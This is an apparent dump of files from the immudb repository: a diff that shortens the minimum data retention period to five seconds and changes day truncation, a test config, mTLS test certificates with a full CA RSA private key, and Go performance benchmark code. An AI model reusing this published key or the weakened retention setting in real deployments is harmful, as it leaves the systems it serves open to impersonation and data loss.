    "content": "diff --git a/embedded/store/options.go b/embedded/store/options.go\nindex 1e93f2f9..b6de2dd6 100644\n--- a/embedded/store/options.go\n+++ b/embedded/store/options.go\n@@ -51,7 +51,7 @@ const DefaultWriteBufferSize = 1 << 22 //4Mb\n const DefaultIndexingMaxBulkSize = 1\n const DefaultBulkPreparationTimeout = DefaultSyncFrequency\n const DefaultTruncationFrequency = 24 * time.Hour\n-const MinimumRetentionPeriod = 24 * time.Hour\n+const MinimumRetentionPeriod = 5 * time.Second\n const MinimumTruncationFrequency = 1 * time.Hour\n\n const MaxFileSize = (1 << 31) - 1 // 2Gb\ndiff --git a/pkg/database/truncator.go b/pkg/database/truncator.go\nindex a69aa231..ff1b483f 100644\n--- a/pkg/database/truncator.go\n+++ b/pkg/database/truncator.go\n@@ -166,5 +166,5 @@ func newTruncatorMetrics(db string) *truncatorMetrics {\n\n // TruncateToDay truncates the time to the beginning of the day.\n func TruncateToDay(t time.Time) time.Time {\n-\treturn time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location())\n+\treturn time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), t.Second(), 0, t.Location())\n }\n"
  },
  {
    "path": "test/immudb.toml",
    "content": "dir = \".\"\nnetwork = \"tcp\"\naddress = \"0.0.0.0\"\nport = 3322\ndbname = \"immudb\"\npidfile = \"\"\nlogfile = \"ConfigFileThatsNameIsDeclaredOnTheCommandLine\"\nmtls = false\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\n\nauth = true\n"
  },
  {
    "path": "test/mtls_certs/ca-chain.cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIEfzCCAuegAwIBAgIDEAISMA0GCSqGSIb3DQEBCwUAMFkxCzAJBgNVBAYTAlVT\nMQ8wDQYDVQQIDAZEZW5pYWwxFDASBgNVBAcMC1NwcmluZ2ZpZWxkMQwwCgYDVQQK\nDANEaXMxFTATBgNVBAMMDHd3dy50ZXN0LmNvbTAeFw0yMDA3MTkxOTQwNTRaFw0z\nMDA3MTcxOTQwNTRaMEMxCzAJBgNVBAYTAlVTMQ8wDQYDVQQIDAZEZW5pYWwxDDAK\nBgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0B\nAQEFAAOCAY8AMIIBigKCAYEAs+Hjb+uinjFSCxf8XYSDxGFaj2Qi1Mlii6Oqrqkn\nkiha3Mu6ogA5P0bKhaF3prSHwHsnN5iKACFBj04T3Q9xKN3x6jI3jt0yd5Jrg4MM\nTUyxY0B3ELckUJEM9l5abM3bMOUtdwsP/LPupF82oRqLjPX3qAmKjZdjTS66MlXp\nf4kafvTWvKWwLUJU6pj8sqIDTjJFGGS1ueNo7i//MWO9pRNjwR8EGAcBVJ0Ln3S3\nQhvIBz3u7Z/JUJeKuQy7fEiPZPn7Oz3BuiUPVp5jlcJ5q6ABVgYJUNwlP3UVcgAD\nyNEHdhaSpNnlYFOuL4uADhv3vKjytZpfmK308JcmuYecEfRIjPaLDZEDYgA2bxJH\ndcCrlAGD7z/Z0Cqe7LAo146T+fdMoAct1VXqoizdyAvUCWvumtLiOK1GYlfRDDD+\nNhWVu4KJVZvkYJF/eSOeV54jFl+0hRO5IYbWK94GLi7UajDatjnvZGsQhyIxEIz1\n5sbQImGshhVeweDiky1vHNxJAgMBAAGjZjBkMB0GA1UdDgQWBBTbUbZ/E9735sTU\ncKqL9B+ock+haTAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjASBgNV\nHRMBAf8ECDAGAQH/AgEAMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOC\nAYEARCf8pv10WJcj9qYWsF7SHng8VyiMkIBBJdsUOAoiQikoqiEF2hJ5S3Z252hm\nu8GHk0xGy6xRrhSy06xxjMITIPVqLgy8UvdNqmjMVrNgCm7x2PIaePmgqVsgupOP\nQvvZe2cImNLAR1YCsIXjRGTj97DdnYo/ro/Gpl8y0TuowjIxeBfqKrZdnSNOc3bb\nb/P3OCf4Mnab2Sq9Lgvv6XuT7Jl49o247nb8cmwQwlapicH7PUx+Od3ermVLmD0k\nwPqS5ytaJbl6Ft4NCDb9Ww+7AFSzCzC0T4B1G5P2RnBbgSBiDQkcbzCnqCRQat6S\nXv2KSPXkP7HHk+oysiCFDaZa0oTWy+zo45s3QQ//h3aPLdC8h2mvJ8vQ1xhyF0Vz\nF9OtKTsWC8JWjvuc3D5qJN0LiiuBb2Mm0Q+FP/ky8PnJzVUN8stDefbsrk2gRZKI\nTRiKfiCV58nxN6BS9T6u8sGeS6TvEXBJYic3x1pM2S87qGDngaE0Oqxd5aDdkRMW\nidCd\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIEozCCAwugAwIBAgIUDtBHScUqpp9ZOWbbJjdrniBUmMowDQYJKoZIhvcNAQEL\nBQAwWTELMAkGA1UEBhMCVVMxDzANBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3By\naW5nZmllbGQxDDAKBgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMB4X\nDTIwMDcxOTE5NDA1NFoXDTQwMDcxNDE5NDA1NFowWTELMAkGA1UEBhMCVVMxDzAN\nBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3ByaW5nZmllbGQxDDAKBgNVBAoMA0Rp\nczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0BAQEFAAOCAY8A\nMIIBigKCAYEAu8jTB7mmNCk+4UHdqNVBOi5whCJHtUIhOpPbzmmXkDbu0Sk0GXbV\nCB5jrwMlaWOM4K3Vjflct0AEoyLi2yaydixpjypiGTAhrfZHIixzGPnR9Goj6lTC\nYSYsgMmygqPL3FQGOMN2T4hCSArIsQJ7/toEQMe0xL+hhAblb5GM/j7kU/s6mkcd\nmTmXmTnDoWh0twbkOwrEoiEt5itPSdlnfrsn3ZzArhUaUTkaLiOlK0JsoMHMsWez\nJ0d2uSs6YOKD4Feo9KKLRuvNX5ElW0EyEblghTJmC2vgGC0Wu3QSQR287teeScvD\nu4xE0YYpd7BDxH9TxLylBeuXIrbe9DP3e5hN/N2tmPcwR7KDi5/Iv6Qf8dASdvMt\nitGWnUos3Qv+ot32dMnlrOVBfJ13NXqZkMrPx36TtT3HOUB4tGgrVDfk4O7icgC+\nxrPqlhBDZMKxXzzPcblBuoBoBEFiqs8OJbcp84aMYNcRL3ODfZdwy4z2a8+61jAv\nT3MPlJQQAHZhAgMBAAGjYzBhMB0GA1UdDgQWBBSfEF8y8S21Asdy8lmdcRQEQaS/\nfjAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjAPBgNVHRMBAf8EBTAD\nAQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAYEAADjkQJzeitW7\nMmKc2BgnyVnXWO9fAlLGUyb+FPqOgLs9jUrviIlt+PEthrvH9gFH3UuIDPrnuRaq\nR8UEwneP2/5VgTIu5GYZvQx84KoEH19NLStpN1t99hKTAxwp3uMWJfTMRnl00MSF\nlwqxd+HXlU1gq922C5s34asbQ/FBVnhb5Y0fRYB0ptaa4n8vr9ikuyERUukuYOm+\nY2qBYam895a5F/BUS8Cxd54b3pccUE/aoxDjYQ1pD0WLxrdnMcdIf347hxczn5dm\nRZhDAF+IHfGzsA1b6sW0dkloKceZ9CYj8RR+yceRfJV3WRQijM5r6pYFjz6m9xeN\nh20aNRCTrrelny9c57rbPMryVYczUbmSJYiDbdSjShQld2wiMX5h67DIIF9s7tkt\nx1iWHHNymOGGsj49vOxACzOKu4WcgqflF+spRYP41hemGSvdyN6V3MgAxvMyD1VQ\n+HzZK9LQtFNcBs1lLEkJ6dsY3+pA97gUfbqALnAAalPBp/rsQ5d4\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/mtls_certs/ca.cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIEozCCAwugAwIBAgIUDtBHScUqpp9ZOWbbJjdrniBUmMowDQYJKoZIhvcNAQEL\nBQAwWTELMAkGA1UEBhMCVVMxDzANBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3By\naW5nZmllbGQxDDAKBgNVBAoMA0RpczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMB4X\nDTIwMDcxOTE5NDA1NFoXDTQwMDcxNDE5NDA1NFowWTELMAkGA1UEBhMCVVMxDzAN\nBgNVBAgMBkRlbmlhbDEUMBIGA1UEBwwLU3ByaW5nZmllbGQxDDAKBgNVBAoMA0Rp\nczEVMBMGA1UEAwwMd3d3LnRlc3QuY29tMIIBojANBgkqhkiG9w0BAQEFAAOCAY8A\nMIIBigKCAYEAu8jTB7mmNCk+4UHdqNVBOi5whCJHtUIhOpPbzmmXkDbu0Sk0GXbV\nCB5jrwMlaWOM4K3Vjflct0AEoyLi2yaydixpjypiGTAhrfZHIixzGPnR9Goj6lTC\nYSYsgMmygqPL3FQGOMN2T4hCSArIsQJ7/toEQMe0xL+hhAblb5GM/j7kU/s6mkcd\nmTmXmTnDoWh0twbkOwrEoiEt5itPSdlnfrsn3ZzArhUaUTkaLiOlK0JsoMHMsWez\nJ0d2uSs6YOKD4Feo9KKLRuvNX5ElW0EyEblghTJmC2vgGC0Wu3QSQR287teeScvD\nu4xE0YYpd7BDxH9TxLylBeuXIrbe9DP3e5hN/N2tmPcwR7KDi5/Iv6Qf8dASdvMt\nitGWnUos3Qv+ot32dMnlrOVBfJ13NXqZkMrPx36TtT3HOUB4tGgrVDfk4O7icgC+\nxrPqlhBDZMKxXzzPcblBuoBoBEFiqs8OJbcp84aMYNcRL3ODfZdwy4z2a8+61jAv\nT3MPlJQQAHZhAgMBAAGjYzBhMB0GA1UdDgQWBBSfEF8y8S21Asdy8lmdcRQEQaS/\nfjAfBgNVHSMEGDAWgBSfEF8y8S21Asdy8lmdcRQEQaS/fjAPBgNVHRMBAf8EBTAD\nAQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAYEAADjkQJzeitW7\nMmKc2BgnyVnXWO9fAlLGUyb+FPqOgLs9jUrviIlt+PEthrvH9gFH3UuIDPrnuRaq\nR8UEwneP2/5VgTIu5GYZvQx84KoEH19NLStpN1t99hKTAxwp3uMWJfTMRnl00MSF\nlwqxd+HXlU1gq922C5s34asbQ/FBVnhb5Y0fRYB0ptaa4n8vr9ikuyERUukuYOm+\nY2qBYam895a5F/BUS8Cxd54b3pccUE/aoxDjYQ1pD0WLxrdnMcdIf347hxczn5dm\nRZhDAF+IHfGzsA1b6sW0dkloKceZ9CYj8RR+yceRfJV3WRQijM5r6pYFjz6m9xeN\nh20aNRCTrrelny9c57rbPMryVYczUbmSJYiDbdSjShQld2wiMX5h67DIIF9s7tkt\nx1iWHHNymOGGsj49vOxACzOKu4WcgqflF+spRYP41hemGSvdyN6V3MgAxvMyD1VQ\n+HzZK9LQtFNcBs1lLEkJ6dsY3+pA97gUfbqALnAAalPBp/rsQ5d4\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/mtls_certs/ca.key.pem",
    "content": "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "test/performance-test-suite/README.md",
    "content": "# immudb performance test suite\n\nThis tool is the main immudb performance analysis tool with the goal of checking immudb performance\nwith various real-world workloads.\n\n## Long vs short run\n\nThe test size is configurable. Short tests are meant to do a quick performance test on every immudb push to a master branch.\nLong test must be executed before each release to ensure there are no performance regressions.\n\nThe default mode is to run a short performance test.\n\n## Output\n\nThis tool produces a json output file with detailed information about the performance.\nIt contains timeline of various measurements throughout the test and summary.\nIf possible, the json file will also contain metadata gathered from the underlying system necessary for comparisons between different systems.\n\n## Central storage for test results\n\nCurrently the results of performance tests are only attached to CI output.\nIt is planned to have a central place with all the results gathered over time.\n"
  },
  {
    "path": "test/performance-test-suite/cmd/perf-test/main.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/binary\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"log\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/test/performance-test-suite/pkg/runner\"\n)\n\nfunc main() {\n\n\tflDuration := flag.Duration(\"d\", time.Second*10, \"duration of each test run\")\n\tflSeed := flag.Uint64(\"s\", 0, \"seed for data generators\")\n\tflRandomSeed := flag.Bool(\"random-seed\", false, \"if set to true, use random seed for test runs\")\n\tflInfluxDbHost := flag.String(\"host\", \"\", \"url for influxdb\")\n\tflInfluxToken := flag.String(\"token\", \"\", \"token for influxdb\")\n\tflInfluxBucket := flag.String(\"bucket\", \"immudb-tests-results\", \"bucket for influxdb\")\n\tflInfluxRunner := flag.String(\"runner\", \"\", \"github runner for influxdb\")\n\tflInfluxVersion := flag.String(\"version\", \"\", \"immudb version for influxdb\")\n\tflTempDir := flag.String(\"workdir\", \"/tmp\", \"working dir path\")\n\n\tflag.Parse()\n\n\tif *flRandomSeed {\n\t\tvar rndSeed [8]byte\n\t\t_, err := rand.Reader.Read(rndSeed[:])\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Couldn't initialize random seed: %v\", err)\n\t\t}\n\t\t*flSeed = binary.BigEndian.Uint64(rndSeed[:])\n\t}\n\n\tresults, err := runner.RunAllBenchmarks(*flDuration, *flTempDir, *flSeed)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\te := json.NewEncoder(os.Stdout)\n\te.SetIndent(\"\", \"   \")\n\terr = e.Encode(results)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif *flInfluxDbHost != \"\" && *flInfluxToken != \"\" && *flInfluxRunner != \"\" && *flInfluxVersion != \"\" {\n\t\trunner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, *flInfluxRunner, *flInfluxVersion, results)\n\t}\n\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/benchmark.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport \"time\"\n\ntype Benchmark interface {\n\n\t// Get benchmark's name\n\tName() string\n\n\t// Do a test warmup\n\tWarmup(workingDirectory string) error\n\n\t// Cleanup after the test\n\tCleanup() error\n\n\t// Run the test, return the cumulative statistics after the whole run\n\tRun(duration time.Duration, seed uint64) (interface{}, error)\n\n\t// Gather current snapshot of probes\n\t// This should be delta since the previous probe - e.g. req/sec that happened\n\t// between this and previous run.\n\t// It will be called in parallel while the `Run` call is still ongoing\n\tProbe() interface{}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/format.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport \"fmt\"\n\nfunc ToHumanReadable(b uint64) string {\n\tconst unit = 1000\n\tif b < unit {\n\t\treturn fmt.Sprintf(\"%d\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n >= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\tv := float64(b) / float64(div)\n\treturn fmt.Sprintf(\"%.2f%c\", v, \"kMGTPE\"[exp])\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/format_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestToHumanReadable(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tb uint64\n\t\ts string\n\t}{\n\t\t{0, \"0\"},\n\t\t{1, \"1\"},\n\t\t{999, \"999\"},\n\t\t{1000, \"1.00k\"},\n\t\t{1001, \"1.00k\"},\n\t\t{3333333, \"3.33M\"},\n\t\t{4444444444, \"4.44G\"},\n\t\t{5555555555555, \"5.56T\"},\n\t\t{6666666666666666, \"6.67P\"},\n\t\t{7777777777777777777, \"7.78E\"},\n\t\t{math.MaxUint64, \"18.45E\"},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%v\", d), func(t *testing.T) {\n\t\t\ts := ToHumanReadable(d.b)\n\t\t\tassert.Equal(t, d.s, s)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/hwstats.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/prometheus/procfs\"\n)\n\n// HWStats contains basic information about hardware properties\ntype HWStats struct {\n\tCPUTime               float64 `json:\"cpuTime\"`               // Total about of CPU time used by the process in seconds\n\tCPUKernelTimeFraction float64 `json:\"cpuTimeKernelFraction\"` // Fraction of the total CPU time that was spent on the kernel side\n\tVMM                   uint64  `json:\"vmm\"`                   // Virtual memory used\n\tRSS                   uint64  `json:\"rss\"`                   // Resident memory used\n\tIOBytesRead           uint64  `json:\"ioBytesRead\"`           // Number of bytes read\n\tIOBytesWrite          uint64  `json:\"ioBytesWrite\"`          // Number of bytes written\n\tIOCallsRead           uint64  `json:\"ioCallsRead\"`           // Number of io read syscalls\n\tIOCallsWrite          uint64  `json:\"ioCallsWrite\"`          // Number of io write syscalls\n}\n\nfunc (h *HWStats) String() string {\n\treturn fmt.Sprintf(\n\t\t\"CPUTime: %.2f, VMM: %s, RSS: %s, Writes (bytes/calls): %s/%d, Reads (bytes/calls): %s/%d\",\n\t\th.CPUTime,\n\t\tToHumanReadable(h.VMM),\n\t\tToHumanReadable(h.RSS),\n\t\tToHumanReadable(h.IOBytesWrite),\n\t\th.IOCallsWrite,\n\t\tToHumanReadable(h.IOBytesRead),\n\t\th.IOCallsRead,\n\t)\n}\n\ntype HWStatsProber struct {\n\tps          procfs.Proc\n\tinitialStat procfs.ProcStat\n\tinitialIO   procfs.ProcIO\n}\n\nfunc NewHWStatsProber() (*HWStatsProber, error) {\n\tps, err := procfs.Self()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Couldn't initialize HW stats prober: %v\", err)\n\t}\n\n\tinitialStat, err := ps.Stat()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Couldn't initialize HW stats prober: %v\", err)\n\t}\n\n\tinitialIO, err := ps.IO()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Couldn't initialize HW stats prober: %v\", err)\n\t}\n\n\treturn &HWStatsProber{\n\t\tps:          ps,\n\t\tinitialStat: initialStat,\n\t\tinitialIO:   initialIO,\n\t}, nil\n}\n\nfunc (h *HWStatsProber) GetHWStats() (*HWStats, error) {\n\tstat, err := h.ps.Stat()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuTime := stat.UTime - h.initialStat.UTime\n\tsTime := stat.STime - h.initialStat.STime\n\tktFrac := float64(0)\n\tif uTime+sTime > 0 {\n\t\tktFrac = float64(sTime) / float64(sTime+uTime)\n\t}\n\n\tioStat, err := h.ps.IO()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &HWStats{\n\t\tCPUTime:               stat.CPUTime() - h.initialStat.CPUTime(),\n\t\tCPUKernelTimeFraction: ktFrac,\n\t\tVMM:                   uint64(stat.VirtualMemory()),\n\t\tRSS:                   uint64(stat.ResidentMemory()),\n\t\tIOBytesRead:           ioStat.ReadBytes - h.initialIO.ReadBytes,\n\t\tIOBytesWrite:          ioStat.WriteBytes - h.initialIO.WriteBytes,\n\t\tIOCallsRead:           ioStat.SyscR - h.initialIO.SyscR,\n\t\tIOCallsWrite:          ioStat.SyscW - h.initialIO.SyscW,\n\t}, nil\n}\n"
  },
  {
    "path": "test/performance-test-suite/pkg/benchmarks/hwstats_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage benchmarks\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHwStatsProber(t *testing.T) {\n\n\tt.Run(\"check initial hw stats\", func(t *testing.T) {\n\t\tsp, err := NewHWStatsProber()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, sp)\n\n\t\tstats, err := sp.GetHWStats()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, stats)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUTime, 0.0)\n\t\trequire.Less(t, stats.CPUTime, 0.0001)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0)\n\t\trequire.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0)\n\n\t\tstr := stats.String()\n\t\trequire.Regexp(t, `CPUTime: [0-9.]+`, str)\n\t\trequire.Regexp(t, `VMM: [0-9.]+.?`, str)\n\t\trequire.Regexp(t, `RSS: [0-9.]+.?`, str)\n\t\trequire.Regexp(t, `Writes \\(bytes\\/calls\\): [0-9.]+.?/[0-9.]+.?`, str)\n\t\trequire.Regexp(t, `Reads \\(bytes\\/calls\\): [0-9.]+.?/[0-9.]+.?`, str)\n\t})\n\n\tt.Run(\"check CPU stats during idle time\", func(t *testing.T) {\n\t\tsp, err := NewHWStatsProber()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, sp)\n\n\t\ttime.Sleep(time.Millisecond * 20)\n\n\t\tstats, err := sp.GetHWStats()\n\t\trequire.NoError(t, err)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUTime, 0.0)\n\t\trequire.Less(t, stats.CPUTime, 0.0001)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0)\n\t\trequire.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0)\n\t})\n\n\tt.Run(\"check CPU stats during busy time\", func(t *testing.T) {\n\t\tsp, err := NewHWStatsProber()\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, sp)\n\n\t\ti := 0\n\t\tfor t0 := time.Now(); time.Since(t0) < time.Millisecond*20; i++ {\n\t\t\t// Some busy loop\n\t\t}\n\t\tlog.Println(\"Iterations count:\", i)\n\n\t\tstats, err := sp.GetHWStats()\n\t\trequire.NoError(t, err)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUTime, 0.0)\n\t\trequire.GreaterOrEqual(t, stats.CPUTime, 0.01)\n\n\t\trequire.GreaterOrEqual(t, stats.CPUKernelTimeFraction, 0.0)\n\t\trequire.LessOrEqual(t, stats.CPUKernelTimeFraction, 1.0)\n\t})\n\n\tt.Run(\"check IO stats\", func(t *testing.T) {\n\t\tsp, err := 